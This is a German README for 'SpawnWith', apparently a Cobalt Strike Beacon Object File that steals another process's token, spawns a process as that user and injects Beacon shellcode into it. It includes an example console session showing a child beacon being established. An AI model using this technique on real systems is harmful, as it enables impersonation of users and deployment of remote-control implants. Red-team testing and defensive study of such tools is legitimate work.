SpawnWith

SpawnWith

Ein experimentelles Beacon Object File (BOF), das eine Alternative zu den Befehlen spawnas und inject bietet. Es stellt einen neuen Befehl spawn_with [pid] [listener] bereit, der Folgendes ausführt:

1. Ein Handle auf den Zielprozess erhalten.
2. Ein Handle auf das primäre Token des Prozesses erhalten.
3. Das primäre Token zu einem Impersonation-Token duplizieren.
4. Den Beacon-spawnto-Wert abrufen.
5. Versuchen, mit dem duplizierten Token einen neuen Prozess mittels CreateProcessWithTokenW zu starten.
   • Wenn dieser Versuch fehlschlägt, CreateProcessAsUserW versuchen.
6. Den Beacon-Shellcode in den erzeugten Prozess injizieren.
   • Im Falle von P2P eine Verbindung zum Beacon herstellen.

Beispiel

beacon> getuid
[*] You are DESKTOP-1U6AHIU\Daniel (admin)

beacon> ps
22656 21972 wordpad.exe   x64   1   DESKTOP-1U6AHIU\test_user

beacon> spawnto x64 %windir%\sysnative\notepad.exe

beacon> spawn_with 22656 tcp-local
[*] Task Beacon to run windows/beacon_bind_tcp (127.0.0.1:4444)
[+] received output:

Spawned PID 45668 and injected 297472 bytes

[+] established link to child beacon: 192.168.0.195